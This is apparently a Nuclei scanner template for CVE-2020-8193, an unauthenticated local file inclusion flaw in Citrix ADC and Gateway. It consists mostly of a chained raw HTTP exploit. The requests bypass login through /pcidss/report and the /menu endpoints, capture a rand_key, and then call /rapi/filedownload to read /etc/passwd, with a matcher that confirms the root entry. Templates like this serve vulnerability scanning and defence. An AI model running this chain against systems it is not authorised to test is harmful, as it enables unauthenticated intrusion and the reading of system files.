id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: medium
  description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.
  reference:
    - https://github.com/jas502n/CVE-2020-8193
    - http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html
    - https://support.citrix.com/article/CTX276688
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-8193
    cwe-id: CWE-862
  tags: cve,cve2020,citrix,lfi

requests:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: {{randkey}}

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: {{randkey}}

        <clipermission></clipermission>

    cookie-reuse: true
    extractors:
      - type: regex
        name: randkey # dynamic variable
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body